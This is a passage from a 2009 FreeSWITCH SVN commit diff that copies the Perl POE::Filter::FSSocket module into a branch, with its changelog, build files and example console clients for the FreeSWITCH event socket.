+			$command->{lc($1)} = $2;
+
+		}
+
+	}
+
+	$command->{action} = $ARGV[0] || undef;
+	$command->{object} = $ARGV[1] || undef;
+	$command->{prefix} = '/usr/local/freeswitch' unless ($command->{prefix} && $command->{prefix} ne '');
+	return ($command);
+
+}
+
+
+sub usage($) {
+
+	my ($err) = @_;
+
+	print STDERR "$err\n" if ($err);
+	print STDERR "Usage:  ./FreeSWITCH-GizmoConfig.pl action object [arguments [...]]\n";
+	print STDERR "Valid actions:\n";
+	print STDERR "add gateway username=1747NNNNNNN password=xxxxxx extension=YourExtension [prefix=/usr/local/freeswitch]\n";
+	print STDERR "add callin did=NNNNNNNNN extension=YourExension [prefix=/usr/local/freeswitch]\n";
+	print STDERR "\n";
+	print STDERR "Example of adding user 17472075873:\n";
+	print STDERR "./FreeSWITCH-Gizmo.pl add gateway username=17472075873 password=Secret extension=1001\n";
+	print STDERR "\n";
+	print STDERR "Adding support for a US callin Number: +1-858-625-0499 (You must add a user that purchased the number to receive calls):\n";
+	print STDERR "./FreeSWITCH-Gizmo.pl add callin did=18586250499 extension=1001\n";
+	print STDERR "\n";
+	print STDERR "Adding support for a UK or other International callin Number: +44 20 7499-9000 :\n";
+	print STDERR "./FreeSWITCH-Gizmo.pl add callin did=442074999000 extension=brian\n";
+
+}
+
+main();
+

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket)

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/CHANGES

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/CHANGES (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/CHANGES) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/CHANGES	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/CHANGES	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+=========================
+2006-10-23 00:19:14 v0_07
+=========================
+
+  2006-10-23 00:19:14 (r7) by ptinsley
+
+    Potential fix for default POE modules on debian with perl 5.8.4, but I
+        I can't be sure because we can't make the problem happen again.
+
+=========================
+2006-10-23 00:15:32 v0_06
+=========================
+
+  2006-10-23 00:15:32 (r6) by ptinsley
+
+    reworked the handling of Content-Length based replies to deal with replies
+      that don't have \n at the end of their data block
+    Updated the curses example (fsconsole.pl)
+     - Added command/reply output
+
+=========================
+2006-10-14 00:08:00 v0_05
+=========================
+
+  2006-10-14 00:08:00 (r5) by ptinsley
+
+    Added some "bullet proofing" in the module to handle bad/unknown input
+    Updated the curses example (fsconsole.pl)
+    Added debug and strict parsing as part of the bullet proofing
+     to enable debug add debug => 1 in your new() and if you want the module
+     to croak when it doesn't properly parse something use strict => 1 in the
+     new().  Example Poe::Filter::FSSocket->new(debug => 1, strict => 1)
+     The default for debug and strict is 0
+
+=========================
+2006-10-14 00:08:00 v0_04
+=========================
+
+  2006-10-14 00:08:00 (r4) by ptinsley
+
+    Fixed support for log/data
+    Added an example that is a quick curses console for freeswitch
+
+=========================
+2006-09-18 21:08:00 v0_03
+=========================
+
+  2006-09-18 21:08:00 (r3) by ptinsley
+
+    Added support for log/data
+
+=========================
+2006-09-17 23:57:00 v0_02
+=========================
+
+  2006-09-17 23:57:00 (r2) by ptinsley
+
+    Added support for api/response type, data ends up in api-response variable.
+
+=========================
+2006-09-17 22:19:20 v0_01
+=========================
+
+  2006-09-17 22:19:20 (r1) by ptinsley
+
+    Initial package of the module.
+
+==============
+End of Excerpt
+==============

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/INSTALL

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/INSTALL (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/INSTALL) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/INSTALL	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/INSTALL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+perl Makefile.PL
+make
+make test
+make install

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/LICENSE

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/LICENSE (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/LICENSE) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/LICENSE	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/LICENSE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+The contents of this file are subject to the Mozilla Public License
+Version 1.1 (the "License"); you may not use this file except in
+compliance with the License. You may obtain a copy of the License at
+http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS"
+basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
+License for the specific language governing rights and limitations
+under the License.
+
+The Original Code is POE::Filter::FSSocket.
+
+The Initial Developer of the Original Code is Paul Tinsley <pdt@jackhammer.org>.
+Portions created by the Initial Developer are Copyright (C) 2006
+the Initial Developer. All Rights Reserved.
+
+Contributor(s): 
+	Paul Tinsley <pdt@jackhammer.org>

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/Makefile.PL

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/Makefile.PL (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/Makefile.PL) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/Makefile.PL	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/Makefile.PL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+#!/usr/bin/perl
+
+use ExtUtils::MakeMaker;
+
+WriteMakefile(
+	NAME         => 'POE::Filter::FSSocket',
+	AUTHOR       => 'Paul Tinsley <pdt@jackhammer.org>',
+	ABSTRACT     => 'POE filter for getting events out of FreeSWITCH',
+	VERSION_FROM => 'lib/POE/Filter/FSSocket.pm',
+
+	PM           => { 'lib/POE/Filter/FSSocket.pm' => '$(INST_LIBDIR)/FSSocket.pm' },
+	PREREQ_PM    => {
+		POE        => 0.3101,
+		Test::More => 0,
+		POE::Component::Client::TCP => 0,
+		POE::Filter::Line => 0,
+	},
+	dist         => {
+		COMPRESS   => 'gzip -9f',
+		SUFFIX     => 'gz',
+	},
+);

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/README

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/README (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/README) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/README	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+A POE filter for FreeSWITCH (http://www.freeswitch.org) that parses event/log/etc... messages for you.  You must ask for events in plain mode.
+
+perldoc POE::Filter::FSSocket for more info and an example.

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/TODO

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/TODO (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/TODO) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/TODO	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/TODO	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+- Support bgapi output
+- more example scripts
+- more documentation
+- sister component that uses this filter
+- reconnect handling

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/examples)

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/fsconsole.pl

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/fsconsole.pl (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/examples/fsconsole.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/fsconsole.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/fsconsole.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,369 @@
+#!/usr/bin/perl
+use strict;
+use warnings;
+
+sub POE::Kernel::ASSERT_DEFAULT () { 1 };
+sub Term::Visual::DEBUG () { 1 }
+sub Term::Visual::DEBUG_FILE () { 'test.log' }
+use IO::Socket;
+use POE qw/Filter::FSSocket Component::Client::TCP/;
+use Data::Dumper;
+use Term::Visual;
+
+
+local *D;
+if (Term::Visual::DEBUG) {
+    *D = *Term::Visual::ERRS;
+}
+
+#local *ERROR = *STDERR;
+
+
+$SIG{__DIE__} = sub {
+    if (Term::Visual::DEBUG) {
+        print Term::Visual::ERRS "Died: @_\n";
+    }
+};
+
+###############################################################################
+## BEGIN Globals ##############################################################
+###############################################################################
+our $server_address = "127.0.0.1";
+our $server_port    = "8021";
+our $server_secret  = "ClueCon";
+
+#this is where you can customize the color scheme
+our %Pallet = (
+	'warn_bullet' => 'bold yellow',
+	'err_bullet'  => 'bold red',
+	'out_bullet'  => 'bold green',
+	'access'      => 'bright red on blue',
+	'current'     => 'bright yellow on blue',
+);
+
+our $terminal;
+my %sockets;
+my %windows;
+my %unread_count;
+my %commands = (
+	'window' => 1,
+	'w'      => 1,
+	'win'    => 1,
+);
+###############################################################################
+##   END Globals ##############################################################
+###############################################################################
+
+#setup our session
+POE::Session->create(
+	'inline_states' => {
+		'_start'       => \&handle_start,        #session start
+		'_stop'        => \&handle_stop,         #session stop
+		'curses_input' => \&handle_curses_input, #input from the keyboard
+		'update_time'  => \&handle_update_time,  #update the status line clock
+		'quit'         => \&handle_quit,         #handler to do any cleanup
+		'server_input' => \&handle_server_input,
+		'_default'      => \&handle_default,
+	},
+	'heap' => {
+		'terminal'     => undef,
+		'freeswitch'   => undef,
+	},
+);
+
+#start the kernel a chugging along
+$poe_kernel->run;
+
+###############################################################################
+## BEGIN Handlers #############################################################
+###############################################################################
+#handles any startup functions for our session
+sub handle_default {
+}
+
+sub handle_start {
+	my ($kernel, $session, $heap) = @_[KERNEL, SESSION, HEAP];
+
+	#setup our terminal
+	 $heap->{'terminal'} = Term::Visual->new(
+		'Alias'        => 'terminal', #poe alias for this
+		'History_Size' => 300,        #number of things to keep in history
+		'Common_Input' => 1,          #all windows share input and history
+		'Tab_Complete' => \&tab_complete,
+	);
+
+	$terminal = $heap->{'terminal'};
+
+	#setup the color palette
+	$terminal->set_palette(%Pallet);
+
+	#create a base window
+	my $window_id = $terminal->create_window(
+		'Window_Name' => 'console',
+		'Buffer_Size' => 3000,
+		'Title'       => 'FreeSWITCH Console',
+		'Status'      => {
+			'0' => {
+				'format' => '%s',
+				'fields' => ['time'],
+			},
+			'1' => {
+				'format' => '%s',
+				'fields' => ['window_status'],
+			},
+		},
+	);
+
+	$windows{'console'} = $window_id;
+
+	$window_id = $terminal->create_window(
+		'Window_Name' => 'log',
+		'Buffer_Size' => 3000,
+		'Title'       => 'FreeSWITCH Logs',
+		'Status'      => {
+			'0' => {
+				'format' => '%s',
+				'fields' => ['time'],
+			},
+			'1' => {
+				'format' => '%s',
+				'fields' => ['window_status'],
+			},
+		},
+	);
+
+	$windows{'log'} = $window_id;
+
+	$window_id = $terminal->create_window(
+		'Window_Name' => 'event',
+		'Buffer_Size' => 3000,
+		'Title'       => 'FreeSWITCH Event',
+		'Status'      => {
+			'0' => {
+				'format' => '%s',
+				'fields' => ['time'],
+			},
+			'1' => {
+				'format' => '%s',
+				'fields' => ['window_status'],
+			},
+		},
+	);
+
+	$windows{'event'} = $window_id;
+
+	#tell the terminal what to call when there is input from the keyboard
+	$kernel->post('terminal' => 'send_me_input' => 'curses_input');
+
+	$terminal->change_window(0);
+	$kernel->delay_set('update_time' => 1);
+	$terminal->set_status_field(0, 'time' => scalar(localtime));
+	new_message('destination_window' => 0, 'message' =>  "
+Welcome to the FreeSWITCH POE Curses Console!
+  The console is split into three windows:
+    - 'console' for api response messages
+    - 'log'     for freeswitch log output (simply send the log level you want 
+                  to start seeing events eg: 'log all')
+    - 'event'   for freeswitch event output (must subscribe in plain format
+                  eg: 'event plain all')
+
+To switch between windows type 'w <windowname' so 'w log' for example.
+
+Coming soon:
+  - Tab completion
+  - command history
+  - window status in the bar (messages added since last view, etc...)
+
+Send any bug reports or comments to jackhammer\@gmail.com
+
+Thanks,
+Paul\n");
+
+	$terminal->set_status_field($terminal->current_window, 'window_status' => format_window_status());
+
+	#connect to freeswitch
+	$heap->{'freeswitch'} = POE::Component::Client::TCP->new(
+		'RemoteAddress' => $server_address,
+		'RemotePort'    => $server_port,
+		'ServerInput'   => \&handle_server_input,
+		'Connected'     => \&handle_fs_connected,
+		'ServerError'   => \&handle_server_error,
+		'Disconnected'  => \&handle_server_disconnect,
+		'Domain'        => AF_INET,
+		'Filter'       => POE::Filter::FSSocket->new(),
+	);
+
+}
+
+#called when users enter commands in a window
+sub handle_curses_input {
+	my ($kernel, $heap, $input, $context) = @_[KERNEL, HEAP, ARG0, ARG1];
+
+	#get the id of the window that is responsible for the input
+	my $window = $heap->{'terminal'}->current_window;
+
+	open(ERROR, ">>error.log");
+
+	if($input eq "quit") {
+		$kernel->yield('quit');
+	} elsif ($input =~ /^w\ (.*)$/) {
+		#get the id of the requested window
+		eval {
+			my $window_id = $windows{$1};
+
+			#see if it's real
+			if(defined($window_id)) {
+				$unread_count{$window_id} = 0;
+				$terminal->change_window($window_id);
+				$terminal->set_status_field($window_id, 'window_status' => &format_window_status());
+			}
+		};
+		if($@) {
+			print ERROR "put error: $@\n";
+		}
+	} else {
+		#see if we got connected at some point
+		if(defined($sockets{'localhost'})) {
+		  my $cmd;
+		  if ($input =~ /^log|^event/) {
+		    $cmd = $input;
+		  } else {
+		    $cmd = "api $input";
+		  }
+		  #send the command
+		  $sockets{'localhost'}->put($cmd);
+		}
+	}
+}
+
+sub handle_fs_connected {
+	my ($kernel, $heap) = @_[KERNEL, HEAP];
+
+	eval {
+		$sockets{'localhost'} = $heap->{'server'};
+	}
+}
+
+#this is responsible for doing any cleanup and returning the terminal to the previous
+#state before we mucked with it
+sub handle_quit {
+	my ($kernel, $heap) = @_[KERNEL, HEAP];
+
+	#tell curses to clean up it's crap
+	$kernel->post('terminal' => 'shutdown');
+
+	#there is probably a more elegant way, but this works for now
+	exit;
+}
+
+#data from freeswitch
+sub handle_server_input {
+        my ($kernel,$heap,$input) = @_[KERNEL,HEAP,ARG0];
+
+	eval {
+		#terminal HATES null
+		if(defined($input->{'__DATA__'})) {
+			$input->{'__DATA__'} =~ s/[\x00]//g;
+		}
+
+		#handle the login
+		if($input->{'Content-Type'} eq "auth/request") {
+			$heap->{'server'}->put("auth $server_secret");
+		} elsif ($input->{'Content-Type'} eq "api/response") {
+			new_message('destination_window' => 0, 'message' => 'API Response: ');
+			new_message('destination_window' => 0, 'message' => $input->{'__DATA__'});
+		} elsif ($input->{'Content-Type'} eq "log/data") {
+			new_message('destination_window' => 1, 'message' => $input->{'__DATA__'});
+		} elsif ($input->{'Content-Type'} eq "text/event-plain") {
+			new_message('destination_window' => 2, 'message' => Dumper $input);
+		} elsif ($input->{'Content-Type'} eq "command/reply") {
+			new_message('destination_window' => 0, 'message' => 'Command Response: ' . $input->{'Reply-Text'});
+		}
+	};
+
+	if($@) {
+		open(ERROR, ">>error.log");
+		print ERROR "died: $@\n";
+		print ERROR Dumper $heap;
+		close(ERROR);
+	}
+}
+
+sub handle_server_error {
+}
+
+sub handle_server_disconnect {
+}
+
+sub tab_complete {
+	my $left = shift;
+
+	my @return;
+
+	if(defined($commands{$left})) {
+		return [$left . " "];
+	#} elsif () {
+	}
+		
+}
+
+sub handle_update_time {
+	my ($kernel, $heap) = @_[KERNEL, HEAP];
+	$terminal->set_status_field($terminal->current_window, 'time' => scalar(localtime));
+	$kernel->delay_set('update_time' => 1);
+}
+###############################################################################
+##   END Handlers #############################################################
+###############################################################################
+
+sub new_message {
+	my %args = @_;
+
+	my $message            = $args{'message'};
+	my $destination_window = $args{'destination_window'};
+
+	my $status_field;
+
+	#see if we are on the window being updated
+	if($terminal->current_window != $destination_window) {
+		#increment the unread count for the window
+		#FIXME, should we count messages or lines?
+		$unread_count{$destination_window}++;
+
+
+		#update the status bar
+		eval {
+			$terminal->set_status_field($terminal->current_window, 'window_status' => &format_window_status());
+		};
+
+		if($@) {
+			print $@;
+		}
+	}
+
+
+	#deliver the message
+	$terminal->print($destination_window, $message);
+}
+
+sub format_window_status {
+	my $status_field;
+
+	#put all the windows in the bar with their current unread count
+	foreach my $window (sort {$windows{$a} <=> $windows{$b}} keys %windows) {
+		#see if we are printing the current window
+		if($terminal->current_window == $windows{$window}) {
+			$status_field .= "[\0(current)$window\0(st_frames)";
+		} else {
+			$status_field .= "[$window";
+		}
+
+		if($unread_count{$windows{$window}}) {
+			$status_field .= " (" . $unread_count{$windows{$window}} . ")";
+		}
+
+		$status_field .= "] ";
+	}
+
+	return $status_field;
+}

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/poetest.pl

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/poetest.pl (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/examples/poetest.pl) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/poetest.pl	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/examples/poetest.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+#!/usr/bin/perl
+  
+use warnings;
+use strict;
+  
+use POE qw(Component::Client::TCP Filter::FSSocket);
+use Data::Dumper;
+
+my $auth_sent = 0;
+my $password = "ClueCon";
+  
+POE::Component::Client::TCP->new(
+          'RemoteAddress' => '127.0.0.1',
+          'RemotePort'    => '8021',
+          'ServerInput'   => \&handle_server_input,
+          'Filter'        => POE::Filter::FSSocket->new(),
+);
+  
+POE::Kernel->run();
+exit;
+  
+  
+sub handle_server_input {
+          my ($heap,$input) = @_[HEAP,ARG0];
+  
+          print Dumper $input;
+  
+  
+	if($input->{'Content-Type'} eq "auth/request") {
+	$auth_sent = 1;
+	$heap->{'server'}->put("auth $password");
+	} elsif ($input->{'Content-Type'} eq "command/reply") {
+		if($auth_sent == 1) {
+			$auth_sent = -1;
+  
+			#do post auth stuff
+			$heap->{'server'}->put("events plain all");
+			$heap->{'server'}->put("log");
+			$heap->{'server'}->put("api show channels");
+		}
+	}
+}

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/lib (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/lib)

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/lib/POE (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/lib/POE)

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/lib/POE/Filter (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/lib/POE/Filter)

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/lib/POE/Filter/FSSocket.pm

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/lib/POE/Filter/FSSocket.pm (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/lib/POE/Filter/FSSocket.pm) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/lib/POE/Filter/FSSocket.pm	                        (rev 0)
+++ freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/lib/POE/Filter/FSSocket.pm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,336 @@
+=head1 NAME
+
+POE::Filter::FSSocket - a POE filter that parses FreeSWITCH events into hashes
+
+=head1 SYNOPSIS
+
+  #!/usr/bin/perl
+  
+  use warnings;
+  use strict;
+  
+  use POE qw(Component::Client::TCP Filter::FSSocket);
+  use Data::Dumper;
+  
+  POE::Component::Client::TCP->new(
+          'RemoteAddress' => '127.0.0.1',
+          'RemotePort'    => '8021',
+          'ServerInput'   => \&handle_server_input,
+          'Filter'        => 'POE::Filter::FSSocket',
+  );
+  
+  POE::Kernel->run();
+  exit;
+  
+  my $auth_sent = 0;
+  my $password = "ClueCon";
+  
+  sub handle_server_input {
+          my ($heap,$input) = @_[HEAP,ARG0];
+  
+          print Dumper $input;
+  
+  
+          if($input->{'Content-Type'} eq "auth/request") {
+                  $auth_sent = 1;
+                  $heap->{'server'}->put("auth $password");
+          } elsif ($input->{'Content-Type'} eq "command/reply") {
+                  if($auth_sent == 1) {
+                          $auth_sent = -1;
+  
+                          #do post auth stuff
+                          $heap->{'server'}->put("events plain all");
+                  }
+          }
+  }
+
+=head1 DESCRIPTION
+
+POE::Filter::FSSocket parses output from FreeSWITCH into hashes.  FreeSWITCH 
+events have a very wide range of keys, the only consistant one being
+Content-Type.  The keys are dependant on the type of events.  You must use the 
+plain event type as that is what the filter knows how to parse.  You can ask for
+as many event types as you like or all for everything.  You specify a list of
+event types by putting spaces between them ex: "events plain api log talk"
+
+Currently known event types (Event-Name):
+
+  CUSTOM
+  CHANNEL_CREATE
+  CHANNEL_DESTROY
+  CHANNEL_STATE
+  CHANNEL_ANSWER
+  CHANNEL_HANGUP
+  CHANNEL_EXECUTE
+  CHANNEL_BRIDGE
+  CHANNEL_UNBRIDGE
+  CHANNEL_PROGRESS
+  CHANNEL_OUTGOING
+  CHANNEL_PARK
+  CHANNEL_UNPARK
+  API
+  LOG
+  INBOUND_CHAN
+  OUTBOUND_CHAN
+  STARTUP
+  SHUTDOWN
+  PUBLISH
+  UNPUBLISH
+  TALK
+  NOTALK
+  SESSION_CRASH
+  MODULE_LOAD
+  DTMF
+  MESSAGE
+  CODEC
+  BACKGROUND_JOB
+  ALL
+
+Currently handled FreeSWITCH messages (Content-Type):
+
+  auth/request
+  command/response
+  text/event-plain
+  api/response (data in __DATA__ variable)
+  log/data (data in __DATA__ variable)
+
+=cut
+
+
+package POE::Filter::FSSocket;
+
+use warnings;
+use strict;
+
+use Carp qw(carp croak);
+use vars qw($VERSION);
+use base qw(POE::Filter);
+
+$VERSION = '0.07';
+
+use Data::Dumper;
+
+#self array
+sub FRAMING_BUFFER()   {0}
+sub PARSER_STATE()     {1}
+sub PARSER_STATENEXT() {2}
+sub PARSED_RECORD()    {3}
+sub CURRENT_LENGTH()   {4}
+sub STRICT_PARSE()     {5}
+sub DEBUG_LEVEL()      {6}
+
+#states of the parser
+sub STATE_WAITING()     {1} #looking for new input
+sub STATE_CLEANUP()     {2} #wipe out record separators
+sub STATE_GETDATA()     {3} #have header, get data
+sub STATE_FLUSH()       {4} #puts us back in wait state and tells us to kill the parsed_record
+sub STATE_TEXTRESPONSE() {5} #used for api output
+
+sub new {
+	my $class = shift;
+	my %args = @_;
+
+	my $strict = 0;
+	my $debug  = 0;
+
+	if(defined($args{'debug'})) {
+		$debug = $args{'debug'};
+	}
+
+	if(defined($args{'strict'}) && $args{'strict'} == 1) {
+		$strict = $args{'strict'};
+	}
+
+	my $self = bless [
+		"",            #framing buffer
+		STATE_WAITING, #PARSER_STATE
+		undef,         #PARSER_STATE
+		{},            #PARSED_RECORD
+		0,             #length tracking (for Content-Length when needed)
+		$strict,       #whether we should bail on a bad parse or try and save the session
+		$debug,        #debug level
+	], ref($class) || $class;
+
+	return $self;
+}
+
+
+sub get_one_start {
+	my ($self, $stream) = @_;
+
+	#take all the chunks and put them in the buffer
+	$self->[FRAMING_BUFFER] .= join('', @{$stream});
+}
+
+sub get_one {
+	my $self = shift;
+
+	my $line;
+
+	while(1) {
+		$line = "";
+
+		#see if we are in line based or length based mode
+		if($self->[PARSER_STATE] == STATE_TEXTRESPONSE) {
+			my $length = $self->[PARSED_RECORD]{'Content-Length'};
+
+			if($self->[FRAMING_BUFFER] =~ s/^(.{$length})//s) {
+				$self->[PARSER_STATE] = STATE_FLUSH;
+				$self->[PARSED_RECORD]->{'__DATA__'} = $1;
+				return [ $self->[PARSED_RECORD] ];
+			} else {
+				#not engough in the buffer yet, come back later
+				return;
+			}
+		} else { #we are in normal line based mode
+			if($self->[FRAMING_BUFFER] =~ s/^(.*?)(\x0D\x0A?|\x0A\x0D?)//) {
+				$line = $1;
+			} else {
+				#not enough off of the socket yet, come back later
+				return [];
+			}
+		}
+		
+		if(($self->[PARSER_STATE] == STATE_WAITING) || ($self->[PARSER_STATE] == STATE_FLUSH)) {
+			#see if we need to wipe out the parsed_record info
+			if($self->[PARSER_STATE] == STATE_FLUSH) {
+				delete $self->[PARSED_RECORD];
+				$self->[CURRENT_LENGTH] = 0;
+
+				$self->[PARSER_STATE] = STATE_WAITING;
+			}
+
+			if($line =~ /Content-Length:\ (\d+)$/) {
+				#store the length
+				$self->[PARSED_RECORD]{'Content-Length'} = $1;
+
+				#see if we had a place to go from here (we should)
+				if(defined($self->[PARSER_STATENEXT])) {
+					$self->[PARSER_STATE] = $self->[PARSER_STATENEXT];
+					$self->[PARSER_STATENEXT] = undef;
+				}
+			} elsif($line =~ /Content-Type:\ (.*)$/) {
+				#store the type of request
+				$self->[PARSED_RECORD]{'Content-Type'} = $1;
+
+				if($1 eq "auth/request") {
+					$self->[PARSER_STATE]     = STATE_CLEANUP;
+					$self->[PARSER_STATENEXT] = STATE_FLUSH;
+					return [ $self->[PARSED_RECORD] ];
+				} elsif ($1 eq "command/reply") { #do something with this later
+					$self->[PARSER_STATE] = STATE_GETDATA;
+				} elsif ($1 eq "text/event-plain") {
+					$self->[PARSER_STATE]     = STATE_CLEANUP;
+					$self->[PARSER_STATENEXT] = STATE_GETDATA;
+				} elsif ($1 eq "api/response") {
+					$self->[PARSER_STATENEXT] = STATE_TEXTRESPONSE;
+				} elsif ($1 eq "log/data") {
+					$self->[PARSER_STATENEXT] = STATE_TEXTRESPONSE;
+				} else { #unexpected input
+					croak ref($self) . " unknown input [" . $self->[PARSER_STATE] . "] (" . $line . ")";
+				}
+			} else {
+				#already in wait state, if we are not in strict, keep going
+				if($self->[STRICT_PARSE]) {
+					croak ref($self) . " unknown input [STATE_WAITING] (" . $line . ")";
+				}
+			}
+		} elsif ($self->[PARSER_STATE] == STATE_CLEANUP) {
+			if($line eq "") {
+				if(defined($self->[PARSER_STATENEXT])) {
+					$self->[PARSER_STATE] = $self->[PARSER_STATENEXT];
+					$self->[PARSER_STATENEXT] = undef;
+				} else {
+					$self->[PARSER_STATE] = STATE_WAITING;
+				}
+			} else {
+				#see if we should bail
+				if($self->[STRICT_PARSE]) {
+					croak ref($self) . " unknown input [STATE_CLEANUP] (" . $line . ")";
+				} else {
+					#we are not supposed to bail so try and save our session...
+					#since we are think we should be cleaning up, flush it all away
+					$self->[PARSER_STATE] = STATE_FLUSH;
+
+					#parser fail should be considered critical, if any debug at all, print dump
+					if($self->[DEBUG_LEVEL]) {
+						print STDERR "Parse failed on ($line) in STATE_CLEANUP:\n";
+						print STDERR Dumper $self->[PARSED_RECORD];
+					}
+				}
+			}
+		} elsif ($self->[PARSER_STATE] == STATE_GETDATA) {
+			if($line =~ /^([^:]+):\ (.*)$/) {
+				$self->[PARSED_RECORD]{$1} = $2;
+			} elsif ($line eq "") { #end of event 
+				$self->[PARSER_STATE] = STATE_FLUSH;
+
+				return [ $self->[PARSED_RECORD] ];
+			} else {
+				if($self->[STRICT_PARSE]) {
+					croak ref($self) . " unknown input [STATE_GETDATA] (" . $line . ")";
+				} else {
+					#flush and run
+					$self->[PARSER_STATE] = STATE_FLUSH;
+
+					#parser fail should be considered critical, if any debug at all, print dump
+					if($self->[DEBUG_LEVEL]) {
+						print STDERR "Parse failed on ($line) in STATE_GETDATA:\n";
+						print STDERR Dumper $self->[PARSED_RECORD];
+					}
+				}
+			}
+		}
+	}
+}
+
+sub put {
+	my ($self, $lines)  = @_;
+
+	my @row;
+	foreach my $line (@$lines) {
+		push @row, $line . "\n\n";
+	}
+
+	return \@row;
+	
+}
+
+sub get_pending {
+	my $self = shift;
+	return $self->[FRAMING_BUFFER];
+}
+
+sub get {
+	my ($self, $stream) = @_;
+	my @return;
+
+	$self->get_one_start($stream);
+	while(1) {
+		my $next = $self->get_one();
+		last unless @$next;
+		push @return, @$next;
+	}
+
+	return \@return;
+}
+
+1;
+
+=head1 SEE ALSO
+
+FreeSWITCH - http://www.freeswitch.org/
+
+=head1 AUTHORS
+
+POE::Filter::FSSocket is written by Paul Tinsley.  You can reach him by e-mail
+at pdt@jackhammer.org.
+
+=head1 COPYRIGHT
+
+Copyright 2006, Paul Tinsley. All rights are reserved.
+
+POE::Filter::FSSocket is free software; it is currently licensed under the MPL
+license version 1.1.
+
+=cut

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/t (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/t)

Deleted: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/t/01_basic.t

Copied: freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/t/01_basic.t (from rev 14471, freeswitch/trunk/scripts/perl/POE-Filter-FSSocket/t/01_basic.t) (0 => 14472)


--- freeswitch/branches/seven/scripts/perl/POE-Filter-FSSocket/t/01_basic.t	                        (rev 0)
